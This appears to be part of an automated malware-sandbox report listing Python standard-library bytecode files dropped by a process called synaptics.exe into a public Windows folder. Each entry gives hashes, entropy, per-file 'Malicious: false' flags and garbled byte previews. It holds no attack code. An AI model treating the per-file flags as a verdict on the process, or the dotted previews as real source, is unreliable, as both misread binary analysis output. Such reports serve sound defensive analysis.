Preview:	o........'-d.a.......................@...sr...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.Z.d.Z.d.Z.g.d...Z.d.g.Z.d.Z.e.d.d.....D.].Z.e...e.....e.e.7.Z.q/[.[.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d.k.scJ...e.d.e...d...k.smJ...e.d.e...d...k.swJ...d.d...Z.g.d...Z.g.d...Z.d d!..Z.d\d#d$..Z.d%d&..Z d'd(..Z!d)d..Z"d+d,..Z#d-d...Z$d/d0..Z%d1d2..Z&d3d4..Z'd5d6..Z(d7d8..Z)d9d:..Zd;d<..Z+G.d=d>..d>..Z,e,d?..e,_-e,d@dAdBdBdCdD..e,_.e,d.dE..e,_/G.dFdG..dG..Z0e0Z1e0d.d.d...e0_-e0d.dHdI..e0_.e,d.dJ..e0_/G.dKdL..dL..Z2G.dMdN..dNe3..Z4e4Z5[4e2Z6G.dOdP..dP..Z.e.Z7e.d.d.d...e._-e.dAdBdBdC..e._.e,d.dE..e._/G.dQdR..dRe0..Z8e8d.d.d...e8_-e8d.dHdIdAdBdBdC..e8_.e,d.dE..e8_/dSdT..Z9G.dUdV..dVe2..Z:e:.;e,d.....e:_<e:.;e,dAdBdW......e:_-e:.;e,dAdBdW....e:_.e8dXd.d.e:j<dY..Z=z.d.dZl>T.W.n...e?..y.......Y.d.S.w.[.[.[.[.[.[.[=[.[.[.['[([)[%[&[.[*[1[.[.[.[.[ [.[.[9[.[.[.[7[6[![.[+["[$[#[5d.d[l>m.Z...d.S.)]z.Concrete date/time and related types...See http://www.iana.org/time-

C:\Users\Public\QExvbmVOb25l\lib\pycache\dis.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15669
Entropy (8bit):	5.467710098109918
Encrypted:	false
SSDEEP:	384:CDdon2oDAV888oUZ7tDzEMDfdF6ZSdDz0TxkxVGdAZiVxiEa+0:CDdroM9UfD6ZBkrYAZiVkEa+0
MD5:	95987344454FDBB327A408F80148A2A4
SHA1:	DBA50C88DF77C384A146C87715ADBD5419F1A3A6
SHA-256:	BC6EFF95C4A128D77EDEFFEB35C8339DC88E44D9F10D9EA1BB943AA84708638E
SHA-512:	CB4498AF74814F5B7302C5CA7C739B0DFA01B183010E2C4277F2732F8D581B7E98E5E83FD27EA34F04E05A45436D4356A84E0228E5236A61334D861C2043C415
Malicious:	false
Reputation:	low
Preview:	o........'-dPP.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...g.d...e...Z.[.e.j.e.j.e.j.e.e.e.f.Z.e.d...Z.d.e.d.f.e.d.f.e.d.f.f.Z.e.d...Z.d.Z.d.d...Z.dVd.d.d...d.d...Z.dVd.d...d.d...Z.d.d.d.d.d.d.d.d.d.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d.d...d(d)..Z.e.. dd+..Z!d,e!j"_.d-e!j._.d.e!j#_.d/e!j$_.d0e!j%_.d1e!j&_.d2e!j'_.d3e!j(_.d4Z)d5ZG.d6d7..d7e!..Z+d.d8..d9d:..Z,d;d<..Z-d=d>..Z.....dWd?d@..Z/dXd.d...dBdC..Z0d.d.d...dDdE..Z1....dYd.d.dF..dGdH..Z2dIdJ..Z3e0Z4dKdL..Z5dMdN..Z6dOdP..Z7G.dQdR..dR..Z8dSdT..Z9e:dUk...r.e9....d.S.d.S.)Zz0Disassembler of Python byte code into mnemonics......N)...*)...__all__)...code_info..dis..disassemble..distb..disco..findlinestarts..findlabels..show_code..get_instructions..Instruction..Bytecode..FORMAT_VALUE).N....str..repr..ascii..MAKE_FUNCTION)...defaults..kwdefaults..annotationsZ.closurec....................C...s4...z.t.\|.\|.d...}.W.\|.S...t.y.......t.\|.\|.d...}.Y.\|.S.w.).z.Attempts to compile the given source, fir

C:\Users\Public\QExvbmVOb25l\lib\pycache\enum.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	26076
Entropy (8bit):	5.281841752125299
Encrypted:	false
SSDEEP:	384:EXTKNlN1WNI0LUjkGo9dwskW5nW3jj82kV0GVH5sH9LBu0KlGVa+3I:ED0N1BFIdwFJ3XcvVHWBBZ+GVaN
MD5:	7C57048FC0F3C70E0EC8EF78E5A75039
SHA1:	0599D6FF1333F799AF6C9E3A5818B78B44042472
SHA-256:	049500D68CE07950C2312507758D1450E1F58A92B3E9BFD71CBF2C26157AC2D5
SHA-512:	5F1462BD7F2616CD0031547B7955345F85F42925D015708CBF958ECCD53F8B5F3587FF9DB680A52558E1CAF5F374EA0D4CB170B7490DB63EA9CD84A4B69B3001
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e.e...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.S.)%.....N)...MappingProxyType..DynamicClassAttribute)...EnumMeta..Enum..IntEnum..Flag..IntFlag..auto..uniquec....................C...s....t.\|.d...p.t.\|.d...p.t.\|.d...S.).z?. Returns True if obj is a descriptor, False otherwise.. ..__get__..__set__..__delete__)...hasattr)...obj..r.....(C:\Users\Public\QExvbmVOb25l\lib\enum.py.._is_descriptor....s..............r....c....................C...sL...t.\|...d.k.o%\|.d.d.....\|.d.d.........k.o.d.k.n.....o%\|.d...d.k.o%\|.d...d.k.S.).z=. Returns True if a __dunder__ name, False otherwise.. .....N..........Z.__.._.........len....namer....r....r......_is_dunder....s......&...........r....c....................C...sL...t.\|...d.k.o%\|.d...\|.d.......k.o.d.k.n.....o%\|.d.d.

C:\Users\Public\QExvbmVOb25l\lib\pycache\fnmatch.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4257
Entropy (8bit):	5.6699325806902365
Encrypted:	false
SSDEEP:	96:rZ1NvFl7gPHnHns99V7Ry+/63Tq7Y1qYmWVzHRJwZLaL1iCtiOy9:r1vFl7g/HnsV7g7HzTRbdUV
MD5:	BB53BE48728605E42B055F6A4A417DD8
SHA1:	E389FB3B0FF235A1D0005CC01E486BDCDBE8D346
SHA-256:	35874B2E09D1095038C3A541FFEFBB27452F807ECC95AC1C44AD75C841B6229E
SHA-512:	EA2A66135115ACA2C75EC8A4E1D3618267FCF4EE5FE8C3CCE4FDF7ABACA6FB9C46948CF7841580295EE762D4DE31BE3723C7BD5D2D209CE8E87855DFE222710A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s\|...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.l.m.Z...e...j.Z.[.d.d...Z.e.j.d.d.d...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).a....Filename matching with shell patterns...fnmatch(FILENAME, PATTERN) matches according to the local convention..fnmatchcase(FILENAME, PATTERN) always takes case in account...The functions operate by translating the pattern into a regular.expression. They cache the compiled regular expressions for speed...The function translate(PATTERN) returns a regular expression.corresponding to PATTERN. (It does not compile it.)......N)...filter..fnmatch..fnmatchcase..translate)...countc....................C...s"...t.j...\|...}.t.j...\|...}.t.\|.\|...S.).a....Test whether FILENAME matches PATTERN... Patterns are Unix shell style:.. * matches everything. ? matches any single character. [seq] matches any character in seq. [!seq] matches any char not in seq.. An initial period in FILENAME is not spec

C:\Users\Public\QExvbmVOb25l\lib\pycache\functools.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	28348
Entropy (8bit):	5.34686521614029
Encrypted:	false
SSDEEP:	768:8oO3KwCQNi3/sZoyIw/kj6N4V9xI8HkXRssPmCzCe/:8o1FQNi30Cj6iV9hHkhsm7me/
MD5:	4AFFB5CA18395D2BFADF605C03A6E355
SHA1:	3C50CE51D055E4D19B55B485C9FB689819BC7F51
SHA-256:	E5D5CAB466D60B6FCF0D2DA5ED3696F17D93CC0C8681BCD297F5F7E62AE8ED02
SHA-512:	9D1854016698F9774933EFE5C060F8836E9432E6A57E7523639FEDB0443CE6F27FE4925E963AD64812038E3256CB30431356D12B8B3FE432898F28D42C041C93
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.e.f.d.d...Z.e.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d d!..Z.e.f.d"d#..Z.e.f.d$d%..Z.d&e.f.d'e.f.d(e.f.g.d(e.f.d)e.f.d&e.f.g.d)e.f.d(e.f.d'e.f.g.d'e.f.d&e.f.d)e.f.g.d..Z.d+d,..Z.d-d...Z.z.d.d/l m.Z...W.n...e!y.......Y.n.w.e"..Z#e#f.d0d1..Z$z.d.d2l m$Z$..W.n...e!y.......Y.n.w.G.d3d4..d4..Z%z.d.d5l m%Z%..W.n...e!y.......Y.n.w.G.d6d7..d7e"..Z&d8d9..Z'e.d:g.d;....Z(G.d<d=..d=e)..Ze"..f.e+e,h.e-e.e/f.d>d?..Z0dXdBdC..Z1dDdE..Z2z.d.dFl m2Z2..W.n...e!..y;......Y.n.w.dGdH..Z3dIdJ..Z4dYdLdM..Z5dNdO..Z6dPdQ..Z7dRdS..Z8G.dTdU..dU..Z9e"..Z:G.dVdW..dW..Z;dKS.)ZzEfunctools.py - Tools for working with functions and callable objects.)...update_wrapper..wraps..WRAPPER_ASSIGNMENTS..WRAPPER_UPDATES..total_ordering..cache..cmp_to_key..lru_cache..reduce..partial..partialmethod..singledispatch..si

C:\Users\Public\QExvbmVOb25l\lib\pycache\genericpath.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3920
Entropy (8bit):	5.173903194720584
Encrypted:	false
SSDEEP:	96:uqsfAs4EvyosntVf4/zsSQ1ow+2U/tAaDKDj51dmvuoZ:Fs4rtKyow8/tjgqWoZ
MD5:	19F3748F57EF10D994F72A07C1E0499C
SHA1:	EB272A2AE0FDFC8B7C8AAE6D598AB520FE37962B
SHA-256:	276CCE8EE5FAB78B2EA97635A1622C5E6817963860BD3531BC5F967E31C88A85
SHA-512:	A0020A5541458120126F4CDAF6534788C64C4F98F7CE89D6A523241EBBFCD581595A18DD9F1AA48184132D758DC7F9A6A5B0C24DACB955CF649378B19F0C2DAA
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z..Path operations common to more than one OS.Do not use directly. The OS specific modules import the appropriate.functions from this module themselves.......N)...commonprefix..exists..getatime..getctime..getmtime..getsize..isdir..isfile..samefile..sameopenfile..samestatc....................C...s*...z.t...\|.....W.d.S...t.t.f.y.......Y.d.S.w.).zDTest whether a path exists. Returns False for broken symbolic linksFT)...os..stat..OSError..ValueError)...path..r...../C:\Users\Public\QExvbmVOb25l\lib\genericpath.pyr........s................r....c....................C....4...z.t...\|...}.W.n...t.t.f.y.......Y.d.S.w.t...\|.j...S.).z%Test whether a path is a regular fileF).r....r....r....r......S_ISREG..st_mode).r......str....r....r....r.........................r....c....................C...r....).z<Return true if

C:\Users\Public\QExvbmVOb25l\lib\pycache\glob.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5865
Entropy (8bit):	5.142368507125213
Encrypted:	false
SSDEEP:	96:j77f2UQQ4yZswKLQ4yZs9UfK9BCjbAOp280dqZqh3qX0GqQC7xr8HqRRqhBQoSqj:CXQ7ZQLQ7Z6UC7CjbrpteqZqBqX1qQCW
MD5:	A61E70604F2586EB9CA34838D070C522
SHA1:	7F1D9E54D4CDCCB54BB41873ACDCEB9995EB99A6
SHA-256:	E87C90F8983C1D9DD7892F8DF73C9D88F9BC0AFFB9BA6510846CF6415D65DABA
SHA-512:	FC74B66D1FFF971B129A1C797BB9863F2FCFD8738C03B469DAC45E7C0D24F93C29D59781F2C9CB8468DA1AFB5CFDF8C9FDF1F78C71C4A03A0368AA10374D48EA
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.d.d...d.d...Z.d.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.e...d"..Z.e...d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.e.j.e.e.d,d...B.Z d.S.)-z.Filename globbing utility......N)...glob..iglob..escapeF....root_dir..dir_fd..recursivec....................C...s....t.t.\|.\|.\|.\|.d.....S.).ay...Return a list of paths matching a pathname pattern... The pattern may contain simple shell-style wildcards a la. fnmatch. However, unlike fnmatch, filenames starting with a. dot are special cases that are not matched by '' and '?'. patterns... If recursive is true, the pattern '**' will match any files and. zero or more directories and subdirectories.. r....)...listr....)...pathnamer....r....r......r.....(C:\Users\Public\QExvbmVOb25l\lib\glob.pyr........s......r....c....................C...s....t...d.\|.\|.

C:\Users\Public\QExvbmVOb25l\lib\pycache\hashlib.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6858
Entropy (8bit):	5.6005305335018924
Encrypted:	false
SSDEEP:	96:IdPjhwzUgQUdROKh0WXI7dQia/jy6sxt6iojyyt8NQCcx54bNdO9DF4irm/NMlSV:IRmE5+odQiaryJxtv4OmVP/4X2J4hg0
MD5:	DB04EBAD01D6EB1E78CA9FA15772E3B6
SHA1:	E3E814021BAE488F72BC2A6CC8F51BD45B176029
SHA-256:	45E7DC10D5AACFB29451C4F3311279233794F5EAEE958464540389C06C67E597
SHA-512:	B2E18947803184D12B15CBDC84A0E2F5C959EA1DFE6A846D22FD2BA5379DE3AAF3120197A4044880CE2C775FFD019D125E36082D9552FBE99C4E1F1241162797
Malicious:	false
Reputation:	low
Preview:	o........'-d.).......................@...sl...d.Z.d.Z.e.e...Z.e.e...Z.e.d...Z.i.Z.d.d.h.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.z.d.d.l.Z.e.Z.e.Z.e...e.j...Z.W.n...e.yG......d.Z.e.Z.e.Z.Y.n.w.z.d.d.l.m.Z...W.n..e.yz......d.d.l.m.Z...e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.d.d...Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.D.].Z.z.e.e...e...e.<.W.q...e.y.......d.d.l.Z.e...d.e.....Y.q.w.[.[.[.[.[.[.d.S.).a3...hashlib module - A common interface to many hash functions...new(name, data=b'', *kwargs) - returns a new hash object implementing the. given hash function; initializing the hash. using the given binary data...Named constructor functions are also available, these are faster.than using new(name):..md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),.sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256...More algorithms may be available on your platform but the above are guaranteed

C:\Users\Public\QExvbmVOb25l\lib\pycache\heapq.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13878
Entropy (8bit):	5.354220422069604
Encrypted:	false
SSDEEP:	192:ynqTYZnQtot7ItafyjjWya/PX1FGRxibJWiTqe0hN2leov+Ugn:ynEYZn0ot7It7j3aX1gRxiM0uN2kk+/n
MD5:	25263BE9F31D3B221CDA1709DA5133E3
SHA1:	5ADC962AB28CD3BA3BCA15A83938219EF1088E29
SHA-256:	04676B577706905227D29ED2A672D792AA9F272C114F487AA0A145D785883129
SHA-512:	C1EDE307577B1611CEF580FCDE0650E288F577A4272DE64B4399418EDAE544450BC9C5C69EBE1F87C602BF79B0AA697A0FE2533DBB97FAA321ECD3E30C02D671
Malicious:	false
Reputation:	low
Preview:	o........'-d.[.......................@...sD...d.Z.d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...d.d...Z.dd d!..Z.dd"d#..Z.z.d$d%l.T.W.n...e.yY......Y.n.w.z.d$d&l.m.Z...W.n...e.yk......Y.n.w.z.d$d'l.m.Z...W.n...e.y}......Y.n.w.z.d$d(l.m.Z...W.n...e.y.......Y.n.w.e.d)k.r.d$d.l.Z.e.e.........d.S.d.S.)+a....Heap queue algorithm (a.k.a. priority queue)...Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for.all k, counting elements from 0. For the sake of comparison,.non-existing elements are considered to be infinite. The interesting.property of a heap is that a[0] is always its smallest element...Usage:..heap = [] # creates an empty heap.heappush(heap, item) # pushes a new item on the heap.item = heappop(heap) # pops the smallest item from the heap.item = heap[0] # smallest item on the heap without popping it.heapify(x) # transforms list into a heap, in-place, in linear time

C:\Users\Public\QExvbmVOb25l\lib\pycache\hmac.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6986
Entropy (8bit):	5.299114930107523
Encrypted:	false
SSDEEP:	192:L+FTSdeLSo3yfjb/3xXrCx5PgT1nxc203AbC:L+FT0eLhyX1K5S1nv0QbC
MD5:	3B8718E9231054E1A9E52CD41A16C5DD
SHA1:	D64AF307C65F741D0FCBE944270B8A2B288A2A38
SHA-256:	A8379736EB3DBA94C7E479F1EC8734536787747C82FF43CABEFEBD3AA7343D2E
SHA-512:	711066D8FB0A259A0068E08793AD7FDEF510934F6E66E180D0D617B6561322181437463E9C8A6F1450EEE4C656E6B9B54C2D4DAC74A1D714E5AF70CBD3D2FBAB
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........\|.].}.\|.d.A.V...q.d.S.)..\...N.......0..xr....r.....(C:\Users\Public\QExvbmVOb25l\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.\|.t.t.f...s.t.d.t.\|...j.......\|.s.t.d.....t.r<

C:\Users\Public\QExvbmVOb25l\lib\pycache\inspect.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	85166
Entropy (8bit):	5.490092865884726
Encrypted:	false
SSDEEP:	1536:QRc0NzW1X0tJcqYqOWjXHdV352ox842jTk9VBbL+xSjiN2TjJXTpsWTp5JQVXiG0:QRvtW1o737HdV35KNPKmwHtQVSG82IQk
MD5:	459415DCF56CFBA3FBEC2E1BC729F0AC
SHA1:	2FD76C28D51EFD48F0AF19CEE95EB72BA6422BAC
SHA-256:	180A5BFD31F0499BD160C428C5A0D17ABCD3047BC98D9F8655B3CC1C56B3D5DC
SHA-512:	E2272CBE052000029557473AFC45FB0F91379AA3BC8E4938AB10A611D90A771584D9971BCE5AEFF872A13764058D81F9734EB76DA958557DAFB3DDFF0D0533C9
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e...Z.e.j.....D.].\.Z.Z.e.e.d.e...<.q^d.Z.d.d.d.d...d.d...Z d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e&e.d...r.d.d...Z(n.d.d...Z(d.d...Z)d d!..Zd"d#..Z+d$d%..Z,d&d'..Z-d(d)..Z.dd+..Z/d,d-..Z0d.d/..Z1d0d1..Z2d2d3..Z3d4d5..Z4d6d7..Z5d8d9..Z6d:d;..Z7d.d<d=..Z8e.d>d?..Z9d@dA..Z:dBdC..Z;d.dD..dEdF..Z<dGdH..Z=dIdJ..Z>dKdL..Z?dMdN..Z@dOdP..ZAdQdR..ZBdSdT..ZCdUdV..ZDd.dWdX..ZEi.ZFi.ZGd.dYdZ..ZHG.d[d\..d\eI..ZJG.d]d^..d^e.jK..ZLd_d`..ZMdadb..ZNG.dcdd..ddeI..ZOG.dedf..df..ZPdgdh..ZQdidj..ZRdkdl..ZSdmdn..ZTd.dodp..ZUe.dqdr..ZVdsdt..ZWe.dudv..ZXdwdx..ZYe.dydz..ZZd{d\|..Z[e.d}d~..Z\d.d...Z]d.d.d...Z^d.d...Z_d.d.d.d.i.i.e`d.d...d.d...d.d...d.d...e^f.d.d...Zae`d.d...d.d...d.d...f.d.d...Zbd.d...Zcd.d...Zdd.d...Zee.d.d...Zfd.d...Zge.d.d...Zhd.d.d...Zid.d...Zje.

C:\Users\Public\QExvbmVOb25l\lib\pycache\io.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	5.3972600816288
Encrypted:	false
SSDEEP:	48:7jeBVAsKEv1YlurRNZsmi/VA61vWF/3+XIQjC2Ai3QuAXuhgwG8POcGcMzzMfSWI:7UK0iSxOmoWF2vLAy/hy8P7GcmYa7RXn
MD5:	5EC5293CF8812BA369E7F7265F6C7352
SHA1:	6402078F1D345F28998103D56E8C1A393CDC86CD
SHA-256:	771129848349DF76B7EFAC47E985ACF72FA4AD8C735CF99CEED191502807065E
SHA-512:	596D1FFD992710FFD71CD7ACC2284598F978FD988D4CBF7FCD9C0E8ADBA618A9953CB374DB4704D6485B0B3711BA3F661221276B25AFCFA380A0500AC39A0525
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sH...d.Z.d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.e._.d.Z.d.Z.d.Z.G.d.d...d.e.j.e.j.d...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j e...Z!e.."e.....e.e.e.e.e.f.D.].Z#e.."e#....que.e.f.D.].Z#e!."e#....q.[#z.d.d.l.m$Z$..W.n...e%y.......Y.d.S.w.e.."e$....d.S.).a....The io module provides the Python interfaces to stream handling. The.builtin open function is defined in this module...At the top of the I/O hierarchy is the abstract base class IOBase. It.defines the basic interface to a stream. Note, however, that there is no.separation between reading and writing to streams; implementations are.allowed to raise an OSError if they do not support a given operation...Extending IOBase is RawIOBase which deals simply with the reading and.writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide.an interface to OS files...BufferedIOBase deals with buffering on a raw

C:\Users\Public\QExvbmVOb25l\lib\pycache\ipaddress.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61464
Entropy (8bit):	5.306395675246755
Encrypted:	false
SSDEEP:	1536:11qqs3deqQmjuqJqq9qhIOGqaqzIVqOq/sqmqeXWqJqZqoqfqEqNqqBNqzSq2qfe:8amjPaWNFGc81veYm1o4Jg5wLlf8x7LR
MD5:	057B351C81584E9BCED8FC280316481B
SHA1:	748EEFF2FDFEE868D6E0114D0FB5A192D6CE8425
SHA-256:	15D26F6A8541F21624DF312769241FAE55729D524E3D773852692290D836B3D7
SHA-512:	0B415F273302EDA2FA691B81912EBEA499E204740DE301F786FF89D2D9A2335192B9F0B2528BBDAD44BDAECA4E1B9C385266E6E39C340C5DC0E7C255EBB2D965
Malicious:	false
Reputation:	low
Preview:	o........'-d.,.......................@...s....d.Z.d.Z.d.d.l.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d=d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.G.d#d$..d$..Z.d.a.e.j.G.d%d&..d&e.....Z.e.j.G.d'd(..d(e.....Z.G.d)d..d..Z.G.d+d,..d,e.e...Z.G.d-d...d.e...Z.G.d/d0..d0e.e...Z.G.d1d2..d2..Z.e.e._.G.d3d4..d4..Z.G.d5d6..d6e.e...Z G.d7d8..d8e ..Z!G.d9d:..d:e.e...Z"G.d;d<..d<..Z#e#e _.d.S.)>z.A fast, lightweight IPv4/IPv6 manipulation library in Python...This library is used to create/poke/manipulate IPv4 and IPv6 addresses.and networks...z.1.0.....N. .......c....................@........e.Z.d.Z.d.Z.d.S.)...AddressValueErrorz%A Value Error related to the address.N....__name__..__module__..__qualname__..__doc__..r....r.....-C:\Users\Public\QExvbmVOb25l\lib\ipaddress.pyr.................r....c....................@...r....)...NetmaskValueErrorz%A Value Error related to the netmask.Nr....r....r....r....r....r........r....r....c................

C:\Users\Public\QExvbmVOb25l\lib\pycache\keyword.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	940
Entropy (8bit):	5.420740346729624
Encrypted:	false
SSDEEP:	24:TBMgKEVTSAvFwzVCI0L67avc0Kb4S0bJB674u:TzVu8wzVmxcZt0bJB65
MD5:	7F3D3B359109464CAF1E0DC4DC506971
SHA1:	EA38967BAAEFE9E5CFA0B651F30B46EB83B56A28
SHA-256:	4F8A4618F7F19F8C489CA8BBB82D97071C77A1203DE5276DA8108A67F0E463F1
SHA-512:	0398FF2617BAA1CAB5E24AECEF00394E98FD6B4CF71ACB535977284252154D288AA75F68FC810A2C3F42ADF2F58489BA76E8F3BBC0F7D847407EC9965A6FEFA4
Malicious:	false
Reputation:	low
Preview:	o........'-dd........................@...s4...d.Z.g.d...Z.g.d...Z.g.d...Z.e.e...j.Z.e.e...j.Z.d.S.).a....Keywords (from "Grammar/python.gram")..This file is automatically generated; please don't muck it up!..To update the symbols in this file, 'cd' to the top directory of.the python source tree and run:.. PYTHONPATH=Tools/peg_generator python3 -m pegen.keywordgen Grammar/python.gram Grammar/Tokens Lib/keyword.py..Alternatively, you can run 'make regen-keyword'..)...iskeyword..issoftkeyword..kwlist..softkwlist)#..False..None..TrueZ.andZ.asZ.assertZ.asyncZ.awaitZ.break..classZ.continueZ.defZ.delZ.elifZ.elseZ.exceptZ.finallyZ.forZ.fromZ.globalZ.ifZ.import..inZ.is..lambdaZ.nonlocalZ.notZ.orZ.passZ.raise..returnZ.tryZ.whileZ.withZ.yield)..._Z.case..matchN)...__doc__..__all__r....r......frozenset..__contains__r....r......r....r.....+C:\Users\Public\QExvbmVOb25l\lib\keyword.py..<module>....s...........&....

C:\Users\Public\QExvbmVOb25l\lib\pycache\linecache.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4155
Entropy (8bit):	5.325878719236098
Encrypted:	false
SSDEEP:	96:0Z1XLppmx0pYUG0wzU182J691Tc7mh5ae7y8:4PyN10wzg6TTc7mh5vD
MD5:	133CF64ECAC33C70B434A9707C5A5CF3
SHA1:	A51AB06A3B28F26428DCD830462D7B0FFC0AAAEC
SHA-256:	9E36FC7BDDEAA3D8E19C2DCFD08A69A11170C715DA578530DFE3F599A51AB040
SHA-512:	67C3B676D3A17FE54E6A5677525EA85D236EDED772DA5F25306EE2552A0FB06ABF18F022F5A6AF699DB45E5C90FA40F5BECA89B42F6D78DA928CEBE6B2EBC1F9
Malicious:	false
Reputation:	low
